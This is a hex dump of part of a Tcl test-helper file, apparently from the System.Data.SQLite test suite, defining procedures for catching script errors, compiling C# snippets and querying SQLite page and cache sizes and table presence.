f4c0: 0c 0d 0a 20 20 20 20 70 72 6f 63 20 63 61 74 63 ... proc catc f4d0: 68 41 6e 64 52 65 74 75 72 6e 20 7b 20 73 63 72 hAndReturn { scr f4e0: 69 70 74 20 7b 73 74 61 63 6b 54 72 61 63 65 20 ipt {stackTrace f4f0: 66 61 6c 73 65 7d 20 7b 73 74 72 69 63 74 20 74 false} {strict t f500: 72 75 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 rue} } {.. f510: 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: f520: 20 45 76 61 6c 75 61 74 65 20 74 68 65 20 73 63 Evaluate the sc f530: 72 69 70 74 20 70 72 6f 76 69 64 65 64 20 62 79 ript provided by f540: 20 6f 75 72 20 63 61 6c 6c 65 72 20 69 6e 20 74 our caller in t f550: 68 65 69 72 20 63 6f 6e 74 65 78 74 2c 0d 0a 20 heir context,.. f560: 20 20 20 20 20 23 20 20 20 20 20 20 20 63 61 70 # cap f570: 74 75 72 69 6e 67 20 62 6f 74 68 20 74 68 65 20 turing both the f580: 72 65 73 75 6c 74 20 61 6e 64 20 74 68 65 20 72 result and the r f590: 65 74 75 72 6e 20 63 6f 64 65 2e 0d 0a 20 20 20 eturn code... f5a0: 20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 #.. set f5b0: 63 6f 64 65 20 5b 63 61 74 63 68 20 7b 75 70 6c code [catch {upl f5c0: 65 76 65 6c 20 31 20 24 73 63 72 69 70 74 7d 20 evel 1$script} f5d0: 72 65 73 75 6c 74 5d 0d 0a 0d 0a 20 20 20 20 20 result].... f5e0: 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE f5f0: 3a 20 44 69 64 20 74 68 65 20 73 63 72 69 70 74 : Did the script f600: 20 70 72 6f 76 69 64 65 64 20 62 79 20 6f 75 72 provided by our f610: 20 63 61 6c 6c 65 72 20 4e 4f 54 20 72 61 69 73 caller NOT rais f620: 65 20 61 6e 20 65 72 72 6f 72 3f 0d 0a 20 20 20 e an error?.. f630: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { f640: 24 73 74 72 69 63 74 20 26 26 20 24 63 6f 64 65 $strict &&$code f650: 20 3d 3d 20 30 20 7c 7c 20 21 24 73 74 72 69 63 == 0 || !$stric f660: 74 20 26 26 20 24 63 6f 64 65 20 21 3d 20 31 7d t &&$code != 1} f670: 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. f680: 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f #.. # NO f690: 54 45 3a 20 53 75 63 63 65 73 73 2e 20 20 52 65 TE: Success. Re f6a0: 74 75 72 6e 20 61 20 6c 69 73 74 20 77 69 74 68 turn a list with f6b0: 20 74 68 65 20 72 65 74 75 72 6e 20 63 6f 64 65 the return code f6c0: 20 61 6e 64 20 74 68 65 20 72 65 73 75 6c 74 2e and the result. f6d0: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. f6e0: 20 20 20 20 20 72 65 74 75 72 6e 20 5b 6c 69 73 return [lis f6f0: 74 20 24 63 6f 64 65 20 24 72 65 73 75 6c 74 5d t $code$result] f700: 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 69 66 .. } elseif f710: 20 7b 24 73 74 61 63 6b 54 72 61 63 65 7d 20 74 {$stackTrace} t f720: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 hen {.. # f730: 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 .. # NOTE f740: 3a 20 46 61 69 6c 75 72 65 2e 20 20 4f 75 72 20 : Failure. Our f750: 63 61 6c 6c 65 72 20 77 61 6e 74 73 20 61 20 66 caller wants a f f760: 75 6c 6c 20 73 74 61 63 6b 20 74 72 61 63 65 20 ull stack trace f770: 28 69 66 20 61 70 70 6c 69 63 61 62 6c 65 29 2c (if applicable), f780: 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # f790: 20 20 72 65 74 75 72 6e 20 61 20 6c 69 73 74 20 return a list f7a0: 77 69 74 68 20 74 68 65 20 72 65 74 75 72 6e 20 with the return f7b0: 63 6f 64 65 20 61 6e 64 20 74 68 65 20 72 65 73 code and the res f7c0: 75 6c 74 20 76 65 72 62 61 74 69 6d 2e 0d 0a 20 ult verbatim... f7d0: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. f7e0: 20 20 72 65 74 75 72 6e 20 5b 6c 69 73 74 20 24 return [list$ f7f0: 63 6f 64 65 20 24 72 65 73 75 6c 74 5d 0d 0a 20 code $result].. f800: 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. f810: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. f820: 20 20 23 20 4e 4f 54 45 3a 20 46 61 69 6c 75 72 # NOTE: Failur f830: 65 2e 20 20 4f 75 72 20 63 61 6c 6c 65 72 20 64 e. Our caller d f840: 6f 65 73 20 6e 6f 74 20 77 61 6e 74 20 61 20 66 oes not want a f f850: 75 6c 6c 20 73 74 61 63 6b 20 74 72 61 63 65 20 ull stack trace f860: 28 69 66 0d 0a 20 20 20 20 20 20 20 20 23 20 20 (if.. # f870: 20 20 20 20 20 61 70 70 6c 69 63 61 62 6c 65 29 applicable) f880: 2c 20 72 65 74 75 72 6e 20 61 20 6c 69 73 74 20 , return a list f890: 77 69 74 68 20 74 68 65 20 72 65 74 75 72 6e 20 with the return f8a0: 63 6f 64 65 2c 20 74 68 65 20 65 72 72 6f 72 0d code, the error. f8b0: 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 . # f8c0: 20 63 6f 64 65 20 66 6f 72 20 74 68 65 20 69 6e code for the in f8d0: 74 65 72 70 72 65 74 65 72 2c 20 61 6e 64 20 74 terpreter, and t f8e0: 68 65 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 he error message f8f0: 20 75 70 20 74 6f 20 74 68 65 0d 0a 20 20 20 20 up to the.. f900: 20 20 20 20 23 20 20 20 20 20 20 20 70 6f 69 6e # poin f910: 74 20 77 68 65 72 65 20 74 68 65 20 73 74 61 63 t where the stac f920: 6b 20 74 72 61 63 65 20 73 68 6f 75 6c 64 20 73 k trace should s f930: 74 61 72 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 tart... # f940: 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e .. return f950: 20 5b 6c 69 73 74 20 24 63 6f 64 65 20 24 3a 3a [list$code $:: f960: 65 72 72 6f 72 43 6f 64 65 20 5c 0d 0a 20 20 20 errorCode \.. f970: 20 20 20 20 20 20 20 20 20 5b 65 78 74 72 61 63 [extrac f980: 74 53 79 73 74 65 6d 44 61 74 61 53 51 4c 69 74 tSystemDataSQLit f990: 65 45 78 63 65 70 74 69 6f 6e 4d 65 73 73 61 67 eExceptionMessag f9a0: 65 20 24 72 65 73 75 6c 74 5d 5d 0d 0a 20 20 20 e$result]].. f9b0: 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a }.. }..... f9c0: 20 20 20 20 70 72 6f 63 20 63 6f 6d 70 69 6c 65 proc compile f9d0: 43 53 68 61 72 70 57 69 74 68 20 7b 0d 0a 20 20 CSharpWith {.. f9e0: 20 20 20 20 20 20 20 20 20 20 74 65 78 74 20 6d text m f9f0: 65 6d 6f 72 79 20 73 79 6d 62 6f 6c 73 20 73 74 emory symbols st fa00: 72 69 63 74 20 72 65 73 75 6c 74 73 56 61 72 4e rict resultsVarN fa10: 61 6d 65 20 65 72 72 6f 72 73 56 61 72 4e 61 6d ame errorsVarNam fa20: 65 20 66 69 6c 65 4e 61 6d 65 73 0d 0a 20 20 20 e fileNames.. fa30: 20 20 20 20 20 20 20 20 20 61 72 67 73 20 7d 20 args } fa40: 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 {.. #.. fa50: 20 20 23 20 4e 4f 54 45 3a 20 53 69 6e 63 65 20 # NOTE: Since fa60: 77 65 20 61 72 65 20 67 6f 69 6e 67 20 74 6f 20 we are going to fa70: 75 73 65 20 74 68 69 73 20 6d 65 74 68 6f 64 20 use this method fa80: 6e 61 6d 65 20 61 20 6c 6f 74 2c 20 61 73 73 69 name a lot, assi fa90: 67 6e 20 69 74 20 74 6f 20 61 0d 0a 20 20 20 20 gn it to a.. faa0: 20 20 23 20 20 20 20 20 20 20 76 61 72 69 61 62 # variab fab0: 6c 65 20 66 69 72 73 74 2e 0d 0a 20 20 20 20 20 le first... fac0: 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 61 64 #.. set ad fad0: 64 20 52 65 66 65 72 65 6e 63 65 64 41 73 73 65 d ReferencedAsse fae0: 6d 62 6c 69 65 73 2e 41 64 64 0d 0a 0d 0a 20 20 mblies.Add.... faf0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N fb00: 4f 54 45 3a 20 43 72 65 61 74 65 20 74 68 65 20 OTE: Create the fb10: 62 61 73 65 20 63 6f 6d 6d 61 6e 64 20 74 6f 20 base command to fb20: 65 76 61 6c 75 61 74 65 20 61 6e 64 20 61 64 64 evaluate and add fb30: 20 74 68 65 20 70 72 6f 70 65 72 74 79 20 73 65 the property se fb40: 74 74 69 6e 67 73 0d 0a 20 20 20 20 20 20 23 20 ttings.. # fb50: 20 20 20 20 20 20 74 68 61 74 20 61 72 65 20 61 that are a fb60: 6c 6d 6f 73 74 20 61 6c 77 61 79 73 20 6e 65 65 lmost always nee fb70: 64 65 64 20 62 79 20 6f 75 72 20 75 6e 69 74 20 ded by our unit fb80: 74 65 73 74 73 20 28 69 2e 65 2e 20 74 68 65 20 tests (i.e. the fb90: 53 79 73 74 65 6d 0d 0a 20 20 20 20 20 20 23 20 System.. # fba0: 20 20 20 20 20 20 61 6e 64 20 53 79 73 74 65 6d and System fbb0: 2e 44 61 74 61 20 61 73 73 65 6d 62 6c 79 20 72 .Data assembly r fbc0: 65 66 65 72 65 6e 63 65 73 29 2e 0d 0a 20 20 20 eferences)... fbd0: 20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 20 #.. set fbe0: 63 6f 6d 6d 61 6e 64 20 5b 6c 69 73 74 20 5c 0d command [list \. fbf0: 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6d 70 69 . compi fc00: 6c 65 43 53 68 61 72 70 20 24 74 65 78 74 20 24 leCSharp $text$ fc10: 6d 65 6d 6f 72 79 20 24 73 79 6d 62 6f 6c 73 20 memory $symbols fc20: 24 73 74 72 69 63 74 20 72 65 73 75 6c 74 73 20$strict results fc30: 65 72 72 6f 72 73 20 5c 0d 0a 20 20 20 20 20 20 errors \.. fc40: 20 20 20 20 24 61 64 64 20 53 79 73 74 65 6d 2e $add System. fc50: 64 6c 6c 20 24 61 64 64 20 53 79 73 74 65 6d 2e dll$add System. fc60: 44 61 74 61 2e 64 6c 6c 20 24 61 64 64 20 53 79 Data.dll $add Sy fc70: 73 74 65 6d 2e 54 72 61 6e 73 61 63 74 69 6f 6e stem.Transaction fc80: 73 2e 64 6c 6c 20 5c 0d 0a 20 20 20 20 20 20 20 s.dll \.. fc90: 20 20 20 24 61 64 64 20 53 79 73 74 65 6d 2e 58$add System.X fca0: 6d 6c 2e 64 6c 6c 5d 0d 0a 0d 0a 20 20 20 20 20 ml.dll].... fcb0: 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE fcc0: 3a 20 41 64 64 20 61 6c 6c 20 74 68 65 20 70 72 : Add all the pr fcd0: 6f 76 69 64 65 64 20 66 69 6c 65 20 6e 61 6d 65 ovided file name fce0: 73 20 61 73 20 61 73 73 65 6d 62 6c 79 20 72 65 s as assembly re fcf0: 66 65 72 65 6e 63 65 73 2e 0d 0a 20 20 20 20 20 ferences... fd00: 20 23 0d 0a 20 20 20 20 20 20 66 6f 72 65 61 63 #.. foreac fd10: 68 20 66 69 6c 65 4e 61 6d 65 20 24 66 69 6c 65 h fileName $file fd20: 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 20 20 20 Names {.. fd30: 20 6c 61 70 70 65 6e 64 20 63 6f 6d 6d 61 6e 64 lappend command fd40: 20 24 61 64 64 20 5b 67 65 74 42 69 6e 61 72 79$add [getBinary fd50: 46 69 6c 65 4e 61 6d 65 20 24 66 69 6c 65 4e 61 FileName $fileNa fd60: 6d 65 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a me].. }.... fd70: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # fd80: 20 4e 4f 54 45 3a 20 41 64 64 20 74 68 65 20 65 NOTE: Add the e fd90: 78 74 72 61 20 61 72 67 75 6d 65 6e 74 73 2c 20 xtra arguments, fda0: 69 66 20 61 6e 79 2c 20 74 6f 20 74 68 65 20 63 if any, to the c fdb0: 6f 6d 6d 61 6e 64 20 74 6f 20 65 76 61 6c 75 61 ommand to evalua fdc0: 74 65 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 te... #.. fdd0: 20 20 20 20 65 76 61 6c 20 6c 61 70 70 65 6e 64 eval lappend fde0: 20 63 6f 6d 6d 61 6e 64 20 24 61 72 67 73 0d 0a command$args.. fdf0: 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 .. #.. fe00: 20 23 20 4e 4f 54 45 3a 20 41 6c 69 61 73 20 74 # NOTE: Alias t fe10: 68 65 20 63 6f 6d 70 69 6c 65 72 20 6c 6f 63 61 he compiler loca fe20: 6c 20 72 65 73 75 6c 74 73 20 61 6e 64 20 65 72 l results and er fe30: 72 6f 72 73 20 76 61 72 69 61 62 6c 65 73 20 74 rors variables t fe40: 6f 20 74 68 65 0d 0a 20 20 20 20 20 20 23 20 20 o the.. # fe50: 20 20 20 20 20 76 61 72 69 61 62 6c 65 20 6e 61 variable na fe60: 6d 65 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 mes provided by fe70: 6f 75 72 20 63 61 6c 6c 65 72 2e 0d 0a 20 20 20 our caller... fe80: 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { fe90: 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length $fea0: 72 65 73 75 6c 74 73 56 61 72 4e 61 6d 65 5d 20 resultsVarName] feb0: 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 > 0} then {.. fec0: 20 20 20 20 20 75 70 76 61 72 20 31 20 24 72 65 upvar 1$re fed0: 73 75 6c 74 73 56 61 72 4e 61 6d 65 20 72 65 73 sultsVarName res fee0: 75 6c 74 73 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d ults.. }... fef0: 0a 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 . if {[stri ff00: 6e 67 20 6c 65 6e 67 74 68 20 24 65 72 72 6f 72 ng length $error ff10: 73 56 61 72 4e 61 6d 65 5d 20 3e 20 30 7d 20 74 sVarName] > 0} t ff20: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 75 hen {.. u ff30: 70 76 61 72 20 31 20 24 65 72 72 6f 72 73 56 61 pvar 1$errorsVa ff40: 72 4e 61 6d 65 20 65 72 72 6f 72 73 0d 0a 20 20 rName errors.. ff50: 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 }.... # ff60: 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: ff70: 45 76 61 6c 75 61 74 65 20 74 68 65 20 63 6f 6e Evaluate the con ff80: 73 74 72 75 63 74 65 64 20 5b 63 6f 6d 70 69 6c structed [compil ff90: 65 43 53 68 61 72 70 5d 20 63 6f 6d 6d 61 6e 64 eCSharp] command ffa0: 20 61 6e 64 20 72 65 74 75 72 6e 20 74 68 65 0d and return the. ffb0: 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 72 . # r ffc0: 65 73 75 6c 74 2e 0d 0a 20 20 20 20 20 20 23 0d esult... #. ffd0: 0a 20 20 20 20 20 20 65 76 61 6c 20 24 63 6f 6d . eval $com ffe0: 6d 61 6e 64 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a mand.. }..... fff0: 20 20 20 20 70 72 6f 63 20 69 73 4d 65 6d 6f 72 proc isMemor 10000 79 44 62 20 7b 20 66 69 6c 65 4e 61 6d 65 20 7d yDb { fileName } 10010 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 {.. #.. 10020 20 20 20 23 20 4e 4f 54 45 3a 20 49 73 20 74 68 # NOTE: Is th 10030 65 20 73 70 65 63 69 66 69 65 64 20 64 61 74 61 e specified data 10040 62 61 73 65 20 66 69 6c 65 20 6e 61 6d 65 20 72 base file name r 10050 65 61 6c 6c 79 20 61 6e 20 69 6e 2d 6d 65 6d 6f eally an in-memo 10060 72 79 20 64 61 74 61 62 61 73 65 3f 0d 0a 20 20 ry database?.. 10070 20 20 20 20 23 0d 0a 20 20 20 20 20 20 72 65 74 #.. ret 10080 75 72 6e 20 5b 65 78 70 72 20 7b 24 66 69 6c 65 urn [expr {$file 10090 4e 61 6d 65 20 65 71 20 22 3a 6d 65 6d 6f 72 79 Name eq ":memory 100a0 3a 22 20 7c 7c 20 5c 0d 0a 20 20 20 20 20 20 20 :" || \.. 100b0 20 20 20 5b 73 74 72 69 6e 67 20 72 61 6e 67 65 [string range 100c0 20 24 66 69 6c 65 4e 61 6d 65 20 30 20 31 32 5d $fileName 0 12] 100d0 20 65 71 20 22 66 69 6c 65 3a 3a 6d 65 6d 6f 72 eq "file::memor 100e0 79 3a 22 7d 5d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d y:"}].. }.... 100f0 0a 20 20 20 20 70 72 6f 63 20 69 73 54 61 62 6c . proc isTabl 10100 65 49 6e 44 62 20 7b 20 6e 61 6d 65 20 7b 76 61 eInDb { name {va 10110 72 4e 61 6d 65 20 64 62 7d 20 7d 20 7b 0d 0a 20 rName db} } {.. 10120 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 10130 4e 4f 54 45 3a 20 52 65 66 65 72 20 74 6f 20 74 NOTE: Refer to t 10140 68 65 20 73 70 65 63 69 66 69 65 64 20 76 61 72 he specified var 10150 69 61 62 6c 65 20 28 65 2e 67 2e 20 22 64 62 22 iable (e.g. "db" 10160 29 20 69 6e 20 74 68 65 20 63 6f 6e 74 65 78 74 ) in the context 10170 20 6f 66 20 6f 75 72 0d 0a 20 20 20 20 20 20 23 of our.. # 10180 20 20 20 20 20 20 20 63 61 6c 6c 65 72 2e 20 20 caller. 10190 49 74 20 63 6f 6e 74 61 69 6e 73 20 74 68 65 20 It contains the 101a0 64 61 74 61 62 61 73 65 20 63 6f 6e 6e 65 63 74 database connect 101b0 69 6f 6e 20 68 61 6e 64 6c 65 20 74 68 61 74 20 ion handle that 101c0 77 69 6c 6c 20 62 65 0d 0a 20 20 20 20 20 20 23 will be.. # 101d0 20 20 20 20 20 20 20 75 73 65 64 20 74 6f 20 65 used to e 101e0 78 65 63 75 74 65 20 74 68 65 20 71 75 65 72 79 xecute the query 101f0 20 75 73 65 64 20 74 6f 20 64 65 74 65 72 6d 69 used to determi 10200 6e 65 20 69 66 20 74 68 65 20 6e 61 6d 65 64 20 ne if the named 10210 74 61 62 6c 65 20 69 73 0d 0a 20 20 20 20 20 20 table is.. 10220 23 20 20 20 20 20 20 20 70 72 65 73 65 6e 74 20 # present 10230 69 6e 20 74 68 61 74 20 64 61 74 61 62 61 73 65 in that database 10240 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 10250 20 20 75 70 76 61 72 20 31 20 24 76 61 72 4e 61 upvar 1$varNa 10260 6d 65 20 64 62 0d 0a 0d 0a 20 20 20 20 20 20 23 me db.... # 10270 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 10280 55 73 65 20 74 68 65 20 73 71 6c 69 74 65 5f 6d Use the sqlite_m 10290 61 73 74 65 72 20 74 61 62 6c 65 20 74 6f 20 64 aster table to d 102a0 65 74 65 72 6d 69 6e 65 20 69 66 20 74 68 65 20 etermine if the 102b0 6e 61 6d 65 64 20 74 61 62 6c 65 20 69 73 0d 0a named table is.. 102c0 20 20 20 20 20 20 23 20 20 20 20 20 20 20 70 72 # pr 102d0 65 73 65 6e 74 20 69 6e 20 74 68 65 20 64 61 74 esent in the dat 102e0 61 62 61 73 65 2e 0d 0a 20 20 20 20 20 20 23 0d abase... #. 102f0 0a 20 20 20 20 20 20 73 65 74 20 73 71 6c 20 7b . set sql { 10300 0d 0a 20 20 20 20 20 20 20 20 53 45 4c 45 43 54 .. SELECT 10310 20 43 4f 55 4e 54 28 2a 29 20 46 52 4f 4d 20 73 COUNT(*) FROM s 10320 71 6c 69 74 65 5f 6d 61 73 74 65 72 20 57 48 45 qlite_master WHE 10330 52 45 20 74 79 70 65 20 3d 20 27 74 61 62 6c 65 RE type = 'table 10340 27 20 41 4e 44 20 6e 61 6d 65 20 3d 20 3f 3b 0d ' AND name = ?;. 10350 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 10360 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 10370 45 3a 20 52 65 74 75 72 6e 20 6e 6f 6e 2d 7a 65 E: Return non-ze 10380 72 6f 20 69 66 20 74 68 65 20 6e 61 6d 65 64 20 ro if the named 10390 74 61 62 6c 65 20 69 73 20 70 72 65 73 65 6e 74 table is present 103a0 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 103b0 20 20 72 65 74 75 72 6e 20 5b 65 78 70 72 20 7b return [expr { 103c0 0d 0a 20 20 20 20 20 20 20 20 5b 73 71 6c 20 65 .. [sql e 103d0 78 65 63 75 74 65 20 2d 65 78 65 63 75 74 65 20 xecute -execute 103e0 73 63 61 6c 61 72 20 24 64 62 20 24 73 71 6c 20 scalar $db$sql 103f0 5b 6c 69 73 74 20 70 61 72 61 6d 31 20 53 74 72 [list param1 Str 10400 69 6e 67 20 24 6e 61 6d 65 5d 5d 20 3e 20 30 0d ing $name]] > 0. 10410 0a 20 20 20 20 20 20 7d 5d 0d 0a 20 20 20 20 7d . }].. } 10420 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 ..... proc ge 10430 74 44 62 44 65 66 61 75 6c 74 50 61 67 65 53 69 tDbDefaultPageSi 10440 7a 65 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 74 ze {} {.. t 10450 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 ry {.. se 10460 74 20 64 62 20 5b 73 71 6c 20 6f 70 65 6e 20 2d t db [sql open - 10470 74 79 70 65 20 53 51 4c 69 74 65 20 7b 44 61 74 type SQLite {Dat 10480 61 20 53 6f 75 72 63 65 3d 3a 6d 65 6d 6f 72 79 a Source=:memory 10490 3a 3b 7d 5d 0d 0a 20 20 20 20 20 20 20 20 72 65 :;}].. re 104a0 74 75 72 6e 20 5b 73 71 6c 20 65 78 65 63 75 74 turn [sql execut 104b0 65 20 2d 65 78 65 63 75 74 65 20 73 63 61 6c 61 e -execute scala 104c0 72 20 24 64 62 20 22 50 52 41 47 4d 41 20 70 61 r$db "PRAGMA pa 104d0 67 65 5f 73 69 7a 65 3b 22 5d 0d 0a 20 20 20 20 ge_size;"].. 104e0 20 20 7d 20 66 69 6e 61 6c 6c 79 20 7b 0d 0a 20 } finally {.. 104f0 20 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f if {[info 10500 20 65 78 69 73 74 73 20 64 62 5d 7d 20 74 68 65 exists db]} the 10510 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 n {.. c 10520 61 74 63 68 20 7b 73 71 6c 20 63 6c 6f 73 65 20 atch {sql close 10530 24 64 62 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 $db}.. 10540 75 6e 73 65 74 20 2d 6e 6f 63 6f 6d 70 6c 61 69 unset -nocomplai 10550 6e 20 64 62 0d 0a 20 20 20 20 20 20 20 20 7d 0d n db.. }. 10560 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d . }.. }. 10570 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 67 65 74 .... proc get 10580 44 62 44 65 66 61 75 6c 74 43 61 63 68 65 53 69 DbDefaultCacheSi 10590 7a 65 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 74 ze {} {.. t 105a0 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 ry {.. se 105b0 74 20 64 62 20 5b 73 71 6c 20 6f 70 65 6e 20 2d t db [sql open - 105c0 74 79 70 65 20 53 51 4c 69 74 65 20 7b 44 61 74 type SQLite {Dat 105d0 61 20 53 6f 75 72 63 65 3d 3a 6d 65 6d 6f 72 79 a Source=:memory 105e0 3a 3b 7d 5d 0d 0a 20 20 20 20 20 20 20 20 72 65 :;}].. re 105f0 74 75 72 6e 20 5b 73 71 6c 20 65 78 65 63 75 74 turn [sql execut 10600 65 20 2d 65 78 65 63 75 74 65 20 73 63 61 6c 61 e -execute scala 10610 72 20 24 64 62 20 22 50 52 41 47 4d 41 20 63 61 r$db "PRAGMA ca 10620 63 68 65 5f 73 69 7a 65 3b 22 5d 0d 0a 20 20 20 che_size;"].. 10630 20 20 20 7d 20 66 69 6e 61 6c 6c 79 20 7b 0d 0a } finally {.. 10640 20 20 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 if {[inf 10650 6f 20 65 78 69 73 74 73 20 64 62 5d 7d 20 74 68 o exists db]} th 10660 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 10670 63 61 74 63 68 20 7b 73 71 6c 20 63 6c 6f 73 65 catch {sql close 10680 20 24 64 62 7d 0d 0a 20 20 20 20 20 20 20 20 20 $db}.. 10690 20 75 6e 73 65 74 20 2d 6e 6f 63 6f 6d 70 6c 61 unset -nocompla 106a0 69 6e 20 64 62 0d 0a 20 20 20 20 20 20 20 20 7d in db.. } 106b0 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d .. }.. } 106c0 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 75 73 ..... proc us 106d0 65 4c 65 67 61 63 79 44 62 50 61 67 65 41 6e 64 eLegacyDbPageAnd 106e0 43 61 63 68 65 53 69 7a 65 73 20 7b 20 76 61 72 CacheSizes { var 106f0 4e 61 6d 65 20 7d 20 7b 0d 0a 20 20 20 20 20 20 Name } {.. 10700 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 10710 20 52 65 66 65 72 20 74 6f 20 74 68 65 20 73 70 Refer to the sp 10720 65 63 69 66 69 65 64 20 76 61 72 69 61 62 6c 65 ecified variable 10730 20 28 65 2e 67 2e 20 22 64 62 22 29 20 69 6e 20 (e.g. "db") in 10740 74 68 65 20 63 6f 6e 74 65 78 74 20 6f 66 20 6f the context of o 10750 75 72 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 ur.. # 10760 20 20 63 61 6c 6c 65 72 2e 20 20 49 74 20 63 6f caller. It co 10770 6e 74 61 69 6e 73 20 74 68 65 20 64 61 74 61 62 ntains the datab 10780 61 73 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 68 ase connection h 10790 61 6e 64 6c 65 20 74 68 61 74 20 77 69 6c 6c 20 andle that will 107a0 62 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 be.. # 107b0 20 20 75 73 65 64 20 74 6f 20 65 78 65 63 75 74 used to execut 107c0 65 20 71 75 65 72 69 65 73 20 75 73 65 64 20 74 e queries used t 107d0 6f 20 73 65 74 20 74 68 65 20 70 61 67 65 20 61 o set the page a 107e0 6e 64 20 63 61 63 68 65 20 73 69 7a 65 73 2e 0d nd cache sizes.. 107f0 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 10800 75 70 76 61 72 20 31 20 24 76 61 72 4e 61 6d 65 upvar 1$varName 10810 20 64 62 0d 0a 0d 0a 20 20 20 20 20 20 73 71 6c db.... sql 10820 20 65 78 65 63 75 74 65 20 24 64 62 20 7b 0d 0a execute $db {.. 10830 20 20 20 20 20 20 20 20 50 52 41 47 4d 41 20 70 PRAGMA p 10840 61 67 65 5f 73 69 7a 65 20 3d 20 31 30 32 34 3b age_size = 1024; 10850 0d 0a 20 20 20 20 20 20 20 20 50 52 41 47 4d 41 .. PRAGMA 10860 20 63 61 63 68 65 5f 73 69 7a 65 20 3d 20 32 30 cache_size = 20 10870 30 30 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 00;.. }.... 10880 20 20 20 20 20 20 72 65 74 75 72 6e 20 5b 6c 69 return [li 10890 73 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 st \.. 108a0 5b 73 71 6c 20 65 78 65 63 75 74 65 20 2d 65 78 [sql execute -ex 108b0 65 63 75 74 65 20 73 63 61 6c 61 72 20 24 64 62 ecute scalar$db 108c0 20 22 50 52 41 47 4d 41 20 70 61 67 65 5f 73 69 "PRAGMA page_si 108d0 7a 65 3b 22 5d 20 5c 0d 0a 20 20 20 20 20 20 20 ze;"] \.. 108e0 20 20 20 5b 73 71 6c 20 65 78 65 63 75 74 65 20 [sql execute 108f0 2d 65 78 65 63 75 74 65 20 73 63 61 6c 61 72 20 -execute scalar 10900 24 64 62 20 22 50 52 41 47 4d 41 20 63 61 63 68 $db "PRAGMA cach 10910 65 5f 73 69 7a 65 3b 22 5d 5d 0d 0a 20 20 20 